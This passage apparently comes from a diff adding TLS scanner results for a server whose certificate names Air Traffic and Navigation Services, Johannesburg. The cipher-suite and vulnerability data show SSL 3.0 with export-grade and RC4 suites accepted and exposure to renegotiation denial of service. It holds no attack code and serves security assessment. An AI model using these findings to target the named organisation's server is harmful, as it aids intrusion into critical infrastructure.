CERTIFICATE-----\nMIIG1DCCBbygAwIBAgIQAz5aTczehjYaNZ27CYNhKjANBgkqhkiG9w0BAQsFADBP\nMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMSkwJwYDVQQDEyBE\naWdpQ2VydCBUTFMgUlNBIFNIQTI1NiAyMDIwIENBMTAeFw0yMTA5MDkwMDAwMDBa\nFw0yMjA5MTYyMzU5NTlaMIGCMQswCQYDVQQGEwJaQTEQMA4GA1UECBMHR2F1dGVu\nZzEVMBMGA1UEBxMMSm9oYW5uZXNidXJnMSwwKgYDVQQKEyNBaXIgVHJhZmZpYyBh\nbmQgTmF2aWdhdGlvbiBTZXJ2aWNlczEcMBoGA1UEAxMTZmlsZTJmbHkuYXRucy5j\nby56YTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAO53zeHfo0yyLljk\nuQuI058mM/CIoRNOriV1av1kPyYLtssdYwbFcjE0UUtvKRwW6azklTRPMASMXmcj\nQXSwe8lSFJp8mtmdF5x6+znYpNx1x6dCZ2VqI09JrMDOavq7WPUbS+vtboe2xK3I\naSAmVHiHTe7VnoxixHdGs5ASBhbBqpdJDqBEPAPg7OmuCnknte4g631aSUt+sKtc\n2TL7LvnyuCx+3t+O8NHS0PFSBp8uFkeGniCJ2AFXoR+YYAJOzQISKJHK1HjoL7eJ\nmtTOp9DpG+AQrZRbQlIx3bWxUMamxgAOxaY0tnpeTiYukK8+vL696UWz+o6Nr4xU\nmsBz/DkCAwEAAaOCA3YwggNyMB8GA1UdIwQYMBaAFLdrouqoqoSMeeq02g+YssWV\ndrn0MB0GA1UdDgQWBBRqMZdeulhL5g0IaS/DfdkUnv1vpzAeBgNVHREEFzAVghNm\naWxlMmZseS5hdG5zLmNvLnphMA4GA1UdDwEB/wQEAwIFoDAdBgNVHSUEFjAUBggr\nBgEFBQcDAQYIKwYBBQUHAwIwgY8GA1UdHwSBhzCBhDBAoD6gPIY6aHR0cDovL2Ny\nbDMuZGlnaWNlcnQuY29tL0RpZ2lDZXJ0VExTUlNBU0hBMjU2MjAyMENBMS0zLmNy\nbDBAoD6gPIY6aHR0cDovL2NybDQuZGlnaWNlcnQuY29tL0RpZ2lDZXJ0VExTUlNB\nU0hBMjU2MjAyMENBMS0zLmNybDA+BgNVHSAENzA1MDMGBmeBDAECAjApMCcGCCsG\nAQUFBwIBFhtodHRwOi8vd3d3LmRpZ2ljZXJ0LmNvbS9DUFMwfwYIKwYBBQUHAQEE\nczBxMCQGCCsGAQUFBzABhhhodHRwOi8vb2NzcC5kaWdpY2VydC5jb20wSQYIKwYB\nBQUHMAKGPWh0dHA6Ly9jYWNlcnRzLmRpZ2ljZXJ0LmNvbS9EaWdpQ2VydFRMU1JT\nQVNIQTI1NjIwMjBDQTEtMS5jcnQwDAYDVR0TAQH/BAIwADCCAX4GCisGAQQB1nkC\nBAIEggFuBIIBagFoAHUAKXm+8J45OSHwVnOfY6V35b5XfZxgCvj5TV0mXCVdx4QA\nAAF7yhqdmgAABAMARjBEAiB5osvg2Rbbcrl0bhSvmoLElcb18DHalNjFD8wu32+6\ncgIgcgFMkgcyUFn38DtoEBhwWsHrt89ZmERzz8EM8Mn8n2cAdwBRo7D1/QF5nFZt\nuDd4jwykeswbJ8v3nohCmg3+1IsF5QAAAXvKGp2fAAAEAwBIMEYCIQDRZ1FIEWWt\n4/ZeruJUv/oKTBSwTO1hxCBhWAerry4+OgIhAL0gHM0mBJRj7Swy4A1gjOAjGn2j\nTb7zAkJ3Bfe4oOlNAHYAQcjKsd8iRkoQxqE6CUKHXk4xixsD6+tLx2jwkGKWBvYA\nAAF7yhqdGQAABAMARzBFAiEAv3vTdOby13tJL7lqWw9LnlwKrT7hmefC/phVhm+M\nZ0oCIETIJe/5F3j+DQVUbjgK+lwy0C3bYFMTFy0ORw6tHxTmMA0GCSqGSIb3DQEB\nCwUAA4IBAQCLe3SBvl/v7DNexk7GpS8m4SeVWWEslO6zX1CFWH8PF5FFZ75FvlPT\nbazcHBv1TrwJuP++48EDYY0ed/cJWnH1OSOBl1fl2Rj9fLaHqL6AcPmFDZCzu6fN\nhMy7iY6FpxYIgEbqW/VUOiyG60MppEA5S68gs795QKWyZjtVh1NWbjQ3LMJfeN2H\n8r2LhPzthR+sXvdyJ4+Rb4wn3j+xCHldUBQ3WQ/D4AGVuMfVXw2kT1YSgld1KmAJ\nqIyFYo/w5XlIjD/v4+B2lXCia6XFAQRM/hRHEt2X6VCkQYK6k6kKTw3Kiw+E1eo8\nPtOOSzku3Oj8FO1v3flyYJhPuTMzpKHS\n-----END CERTIFICATE-----\n", + "fingerprint_sha1": "gf2Y/iUFxpBlRdtpeGC+disLxN8=", + "fingerprint_sha256": "vI+77F1tKB4QZAKizcCcwIykhwkI/3aY3Ov/pNbz4JY=", + "hpkp_pin": "rpVV+JdDj5J0eR1t+Y9lI4LVTabPGJyFTDWW+1WwInQ=", + "issuer": { + "attributes": [ + { + "oid": { + "dotted_string": "2.5.4.6", + "name": "countryName" + }, + "rfc4514_string": "C=US", + "value": "US" + }, + { + "oid": { + "dotted_string": "2.5.4.10", + "name": "organizationName" + }, + "rfc4514_string": "O=DigiCert Inc", + "value": "DigiCert Inc" + }, + { + "oid": { + "dotted_string": "2.5.4.3", + "name": "commonName" + }, + "rfc4514_string": "CN=DigiCert TLS RSA SHA256 2020 CA1", + "value": "DigiCert TLS RSA SHA256 2020 CA1" + } + ], + "rfc4514_string": "CN=DigiCert TLS RSA SHA256 2020 CA1,O=DigiCert Inc,C=US" + }, + "not_valid_after": "2022-09-16T23:59:59", + "not_valid_before": "2021-09-09T00:00:00", + "public_key": { + "algorithm": "_RSAPublicKey", + "ec_curve_name": null, + "ec_x": null, + "ec_y": null, + "key_size": 2048, + "rsa_e": 65537, + "rsa_n": 30103794248508566227106254281603654511845777227720510336840462141320800637242089948330954312939160974634428990261332267008245590045719868409069992095077877088925367206906802593336360211870255449255880206262725291490948217296012036885768110210080182180033263176481239694915659914552325009880498905913191476407566129358591593406779354434665745416480552742390174068291802102372873726751907710438522680872366623813576417850546193540710513039853597669544631137090093817269850399525477495163473504938630576111958135554877142804980988656083931921143762149432661006440618147336722480850188035295961468326400608314500607900729 + }, + "serial_number": 4311437973420706511002777163562967338, + "signature_algorithm_oid": { + "dotted_string": "1.2.840.113549.1.1.11", + "name": "sha256WithRSAEncryption" + }, + "signature_hash_algorithm": { + "digest_size": 32, + "name": "sha256" + }, + "subject": { + "attributes": [ + { + "oid": { + "dotted_string": "2.5.4.6", + "name": "countryName" + }, + "rfc4514_string": "C=ZA", + "value": "ZA" + }, + { + "oid": { + "dotted_string": "2.5.4.8", + "name": "stateOrProvinceName" + }, + "rfc4514_string": "ST=Gauteng", + "value": "Gauteng" + }, + { + "oid": { + "dotted_string": "2.5.4.7", + "name": "localityName" + }, + "rfc4514_string": "L=Johannesburg", + "value": "Johannesburg" + }, + { + "oid": { + "dotted_string": "2.5.4.10", + "name": "organizationName" + }, + "rfc4514_string": "O=Air Traffic and Navigation Services", + "value": "Air Traffic and Navigation Services" + }, + { + "oid": { + "dotted_string": "2.5.4.3", + "name": "commonName" + }, + "rfc4514_string": "CN=10.10.10.10", + "value": "10.10.10.10" + } + ], + "rfc4514_string": "CN=10.10.10.10,O=Air Traffic and Navigation Services,L=Johannesburg,ST=Gauteng,C=ZA" + }, + "subject_alternative_name": { + "dns": [ + "10.10.10.10" + ] + } + } + ], + "received_chain_contains_anchor_certificate": null, + "received_chain_has_valid_order": true, + "verified_certificate_chain": null, + "verified_chain_has_legacy_symantec_anchor": null, + "verified_chain_has_sha1_signature": null + } + ], + "hostname_used_for_server_name_indication": "10.10.10.10" + }, + "status": "COMPLETED" + }, + "elliptic_curves": { + "error_reason": null, + "error_trace": null, + "result": { + "rejected_curves": null, + "supported_curves": null, + "supports_ecdh_key_exchange": false + }, + "status": "COMPLETED" + }, + "heartbleed": { + "error_reason": null, + "error_trace": null, + "result": { + "is_vulnerable_to_heartbleed": false + }, + "status": "COMPLETED" + }, + "http_headers": { + "error_reason": null, + "error_trace": null, + "result": null, + "status": "NOT_SCHEDULED" + }, + "openssl_ccs_injection": { + "error_reason": null, + "error_trace": null, + "result": { + "is_vulnerable_to_ccs_injection": false + }, + "status": "COMPLETED" + }, + "robot": { + "error_reason": null, + "error_trace": null, + "result": { + "robot_result": "NOT_VULNERABLE_NO_ORACLE" + }, + "status": "COMPLETED" + }, + "session_renegotiation": { + "error_reason": null, + "error_trace": null, + "result": { + "is_vulnerable_to_client_renegotiation_dos": true, + "supports_secure_renegotiation": false + }, + "status": "COMPLETED" + }, + "session_resumption": { + "error_reason": null, + "error_trace": null, + "result": null, + "status": "NOT_SCHEDULED" + }, + "ssl_2_0_cipher_suites": { + "error_reason": null, + "error_trace": null, + "result": { + "accepted_cipher_suites": [], + "is_tls_version_supported": false, + "rejected_cipher_suites": [ + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "SSL_CK_RC4_128_WITH_MD5", + "openssl_name": "RC4-MD5" + }, + "error_message": "TLS error: no ciphers list" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 40, + "name": "SSL_CK_RC4_128_EXPORT40_WITH_MD5", + "openssl_name": "EXP-RC4-MD5" + }, + "error_message": "TLS error: no ciphers list" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "SSL_CK_RC2_128_CBC_WITH_MD5", + "openssl_name": "RC2-CBC-MD5" + }, + "error_message": "TLS error: no ciphers list" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 40, + "name": "SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5", + "openssl_name": "EXP-RC2-CBC-MD5" + }, + "error_message": "TLS error: no ciphers list" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "SSL_CK_IDEA_128_CBC_WITH_MD5", + "openssl_name": "IDEA-CBC-MD5" + }, + "error_message": "TLS error: no ciphers list" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 56, + "name": "SSL_CK_DES_64_CBC_WITH_MD5", + "openssl_name": "DES-CBC-MD5" + }, + "error_message": "TLS error: no ciphers list" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 168, + "name": "SSL_CK_DES_192_EDE3_CBC_WITH_MD5", + "openssl_name": "DES-CBC3-MD5" + }, + "error_message": "TLS error: no ciphers list" + } + ], + "tls_version_used": "SSL_2_0" + }, + "status": "COMPLETED" + }, + "ssl_3_0_cipher_suites": { + "error_reason": null, + "error_trace": null, + "result": { + "accepted_cipher_suites": [ + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_RSA_WITH_RC4_128_SHA", + "openssl_name": "RC4-SHA" + }, + "ephemeral_key": null + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_RSA_WITH_RC4_128_MD5", + "openssl_name": "RC4-MD5" + }, + "ephemeral_key": null + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 56, + "name": "TLS_RSA_WITH_DES_CBC_SHA", + "openssl_name": "DES-CBC-SHA" + }, + "ephemeral_key": null + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_RSA_WITH_AES_256_CBC_SHA", + "openssl_name": "AES256-SHA" + }, + "ephemeral_key": null + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_RSA_WITH_AES_128_CBC_SHA", + "openssl_name": "AES128-SHA" + }, + "ephemeral_key": null + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 168, + "name": "TLS_RSA_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "DES-CBC3-SHA" + }, + "ephemeral_key": null + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 40, + "name": "TLS_RSA_EXPORT_WITH_RC4_40_MD5", + "openssl_name": "EXP-RC4-MD5" + }, + "ephemeral_key": null + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 40, + "name": "TLS_RSA_EXPORT_WITH_RC2_CBC_40_MD5", + "openssl_name": "EXP-RC2-CBC-MD5" + }, + "ephemeral_key": null + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 40, + "name": "TLS_RSA_EXPORT_WITH_DES40_CBC_SHA", + "openssl_name": "EXP-DES-CBC-SHA" + }, + "ephemeral_key": null + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 56, + "name": "TLS_DHE_RSA_WITH_DES_CBC_SHA", + "openssl_name": "EDH-RSA-DES-CBC-SHA" + }, + "ephemeral_key": { + "curve_name": null, + "generator": "Ag==", + "prime": "1n3kQMu73Bk21pPTSv0K1QyE0jmkX1ILuIF0y5i86VGEn5EuY5xy+xO0tNcXfhbVWsF5ukILKin+MkpGemNegf9ZATd77dz9MxaKRhqtO3La6IYAeARbB6fbynh0CH0VEOqfzJ3dMwUH3WLbiK6qdH3g9NbivWiw5zk+DyQhjrM=", + "public_bytes": "YSpwCeMHVwvZL6HjQG0EPVI0ad+zCta0F8jxKXdpurofTRY20juJ6Kt7JTOrwEjmlqB1zqXWZxEdmeeNSnUc4r43NrMGfnIY4H1eL8GQTdKBnDLCZuUFDrszVcJVboC20GGOprLXQuNV/qzYCuYjWuOq4ySbvJerU8K147ibLZY=", + "size": 1024, + "type_name": "DH", + "x": null, + "y": null + } + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DHE_RSA_WITH_AES_256_CBC_SHA", + "openssl_name": "DHE-RSA-AES256-SHA" + }, + "ephemeral_key": { + "curve_name": null, + "generator": "Ag==", + "prime": "1n3kQMu73Bk21pPTSv0K1QyE0jmkX1ILuIF0y5i86VGEn5EuY5xy+xO0tNcXfhbVWsF5ukILKin+MkpGemNegf9ZATd77dz9MxaKRhqtO3La6IYAeARbB6fbynh0CH0VEOqfzJ3dMwUH3WLbiK6qdH3g9NbivWiw5zk+DyQhjrM=", + "public_bytes": "xyfaXL51dpFNJ2HOzug0J9WOrI4+cSK/tPWHSEDpdWSsWMEZ/HlgyS0OIofWas0Xq/aum+jo97nVsZ8qPVhEw5roqDluh9qQEbaib+bxlS8jSyGwWt01yPy/LGwZEzkTU2yCMLxfl2VEo499RR+MXkHjICH31RbrGBFA/UIS9xw=", + "size": 1024, + "type_name": "DH", + "x": null, + "y": null + } + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DHE_RSA_WITH_AES_128_CBC_SHA", + "openssl_name": "DHE-RSA-AES128-SHA" + }, + "ephemeral_key": { + "curve_name": null, + "generator": "Ag==", + "prime": "1n3kQMu73Bk21pPTSv0K1QyE0jmkX1ILuIF0y5i86VGEn5EuY5xy+xO0tNcXfhbVWsF5ukILKin+MkpGemNegf9ZATd77dz9MxaKRhqtO3La6IYAeARbB6fbynh0CH0VEOqfzJ3dMwUH3WLbiK6qdH3g9NbivWiw5zk+DyQhjrM=", + "public_bytes": "qFeRgXlhVubJ+mRil2IoiOTBJcKFA5tJIOaFzx2uT8IzzBaFnWfLvcKX2vqbaYNtwhcQNB+TDw+NKyHch8NiAEPlGwWOn9F/VgV36Jy0n/uYucOPFOrAtkReK3L132OGDaffZ/WHGR+HVwR3z4N9VHp+6EZX8fTutpKXIKyVClI=", + "size": 1024, + "type_name": "DH", + "x": null, + "y": null + } + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 168, + "name": "TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "EDH-RSA-DES-CBC3-SHA" + }, + "ephemeral_key": { + "curve_name": null, + "generator": "Ag==", + "prime": "1n3kQMu73Bk21pPTSv0K1QyE0jmkX1ILuIF0y5i86VGEn5EuY5xy+xO0tNcXfhbVWsF5ukILKin+MkpGemNegf9ZATd77dz9MxaKRhqtO3La6IYAeARbB6fbynh0CH0VEOqfzJ3dMwUH3WLbiK6qdH3g9NbivWiw5zk+DyQhjrM=", + "public_bytes": "s5pPRR+ELzlhAaPri+Z+QpmvWWRUQ9eR0ci6nsdpmgPRzESNZ749HDGQpSF4qW38XlSmjNFe4vkJEKwOOVe4lfnIGfCuqP56TdQDlDIKrebSfNSey68mIhsLh0TUJV+w/0SMkyunUMuAgmJm3hKAj4gZQ74PBdTQzI1r9aEwC7k=", + "size": 1024, + "type_name": "DH", + "x": null, + "y": null + } + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 40, + "name": "TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA", + "openssl_name": "EXP-EDH-RSA-DES-CBC-SHA" + }, + "ephemeral_key": { + "curve_name": null, + "generator": "Ag==", + "prime": "n9uLigBFRPAEXxc30LouCydM3xqfWIIY+0NTFqFuN0Fx/RnY2PN8Ob+GP9YOPjAGgKMDDG5MN1fQj3DmqocQMw==", + "public_bytes": "NOY4IWYKosGeSrKOnjyvFLADPBpX4EESIH3Z6Z3V501ShKQkNqISH+iCUCTSLfPvhLY0ORz5VXRo0gQRDNfW/A==", + "size": 512, + "type_name": "DH", + "x": null, + "y": null + } + } + ], + "is_tls_version_supported": true, + "rejected_cipher_suites": [ + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_RSA_WITH_SEED_CBC_SHA", + "openssl_name": "SEED-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 0, + "name": "TLS_RSA_WITH_NULL_SHA", + "openssl_name": "NULL-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 0, + "name": "TLS_RSA_WITH_NULL_MD5", + "openssl_name": "NULL-MD5" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_RSA_WITH_IDEA_CBC_SHA", + "openssl_name": "IDEA-CBC-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_RSA_WITH_CAMELLIA_256_CBC_SHA", + "openssl_name": "CAMELLIA256-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_RSA_WITH_CAMELLIA_128_CBC_SHA", + "openssl_name": "CAMELLIA128-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 128, + "name": "TLS_ECDH_anon_WITH_RC4_128_SHA", + "openssl_name": "AECDH-RC4-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 0, + "name": "TLS_ECDH_anon_WITH_NULL_SHA", + "openssl_name": "AECDH-NULL-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 256, + "name": "TLS_ECDH_anon_WITH_AES_256_CBC_SHA", + "openssl_name": "AECDH-AES256-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 128, + "name": "TLS_ECDH_anon_WITH_AES_128_CBC_SHA", + "openssl_name": "AECDH-AES128-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 168, + "name": "TLS_ECDH_anon_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "AECDH-DES-CBC3-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDH_RSA_WITH_RC4_128_SHA", + "openssl_name": "ECDH-RSA-RC4-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 0, + "name": "TLS_ECDH_RSA_WITH_NULL_SHA", + "openssl_name": "ECDH-RSA-NULL-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_ECDH_RSA_WITH_AES_256_CBC_SHA", + "openssl_name": "ECDH-RSA-AES256-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDH_RSA_WITH_AES_128_CBC_SHA", + "openssl_name": "ECDH-RSA-AES128-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 168, + "name": "TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "ECDH-RSA-DES-CBC3-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDH_ECDSA_WITH_RC4_128_SHA", + "openssl_name": "ECDH-ECDSA-RC4-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 0, + "name": "TLS_ECDH_ECDSA_WITH_NULL_SHA", + "openssl_name": "ECDH-ECDSA-NULL-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA", + "openssl_name": "ECDH-ECDSA-AES256-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA", + "openssl_name": "ECDH-ECDSA-AES128-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 168, + "name": "TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "ECDH-ECDSA-DES-CBC3-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDHE_RSA_WITH_RC4_128_SHA", + "openssl_name": "ECDHE-RSA-RC4-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 0, + "name": "TLS_ECDHE_RSA_WITH_NULL_SHA", + "openssl_name": "ECDHE-RSA-NULL-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA", + "openssl_name": "ECDHE-RSA-AES256-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA", + "openssl_name": "ECDHE-RSA-AES128-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 168, + "name": "TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "ECDHE-RSA-DES-CBC3-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDHE_ECDSA_WITH_RC4_128_SHA", + "openssl_name": "ECDHE-ECDSA-RC4-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 0, + "name": "TLS_ECDHE_ECDSA_WITH_NULL_SHA", + "openssl_name": "ECDHE-ECDSA-NULL-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA", + "openssl_name": "ECDHE-ECDSA-AES256-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA", + "openssl_name": "ECDHE-ECDSA-AES128-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 168, + "name": "TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "ECDHE-ECDSA-DES-CBC3-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 128, + "name": "TLS_DH_anon_WITH_SEED_CBC_SHA", + "openssl_name": "ADH-SEED-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 128, + "name": "TLS_DH_anon_WITH_RC4_128_MD5", + "openssl_name": "ADH-RC4-MD5" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 56, + "name": "TLS_DH_anon_WITH_DES_CBC_SHA", + "openssl_name": "ADH-DES-CBC-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 256, + "name": "TLS_DH_anon_WITH_CAMELLIA_256_CBC_SHA", + "openssl_name": "ADH-CAMELLIA256-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 128, + "name": "TLS_DH_anon_WITH_CAMELLIA_128_CBC_SHA", + "openssl_name": "ADH-CAMELLIA128-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 256, + "name": "TLS_DH_anon_WITH_AES_256_CBC_SHA", + "openssl_name": "ADH-AES256-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 128, + "name": "TLS_DH_anon_WITH_AES_128_CBC_SHA", + "openssl_name": "ADH-AES128-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 168, + "name": "TLS_DH_anon_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "ADH-DES-CBC3-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 40, + "name": "TLS_DH_anon_EXPORT_WITH_RC4_40_MD5", + "openssl_name": "EXP-ADH-RC4-MD5" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 40, + "name": "TLS_DH_anon_EXPORT_WITH_DES40_CBC_SHA", + "openssl_name": "EXP-ADH-DES-CBC-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DH_RSA_WITH_SEED_CBC_SHA", + "openssl_name": "DH-RSA-SEED-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 56, + "name": "TLS_DH_RSA_WITH_DES_CBC_SHA", + "openssl_name": "DH-RSA-DES-CBC-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DH_RSA_WITH_CAMELLIA_256_CBC_SHA", + "openssl_name": "DH-RSA-CAMELLIA256-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DH_RSA_WITH_CAMELLIA_128_CBC_SHA", + "openssl_name": "DH-RSA-CAMELLIA128-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DH_RSA_WITH_AES_256_CBC_SHA", + "openssl_name": "DH-RSA-AES256-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DH_RSA_WITH_AES_128_CBC_SHA", + "openssl_name": "DH-RSA-AES128-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 168, + "name": "TLS_DH_RSA_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "DH-RSA-DES-CBC3-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DH_DSS_WITH_SEED_CBC_SHA", + "openssl_name": "DH-DSS-SEED-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 56, + "name": "TLS_DH_DSS_WITH_DES_CBC_SHA", + "openssl_name": "DH-DSS-DES-CBC-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DH_DSS_WITH_CAMELLIA_256_CBC_SHA", + "openssl_name": "DH-DSS-CAMELLIA256-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DH_DSS_WITH_CAMELLIA_128_CBC_SHA", + "openssl_name": "DH-DSS-CAMELLIA128-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DH_DSS_WITH_AES_256_CBC_SHA", + "openssl_name": "DH-DSS-AES256-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DH_DSS_WITH_AES_128_CBC_SHA", + "openssl_name": "DH-DSS-AES128-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 168, + "name": 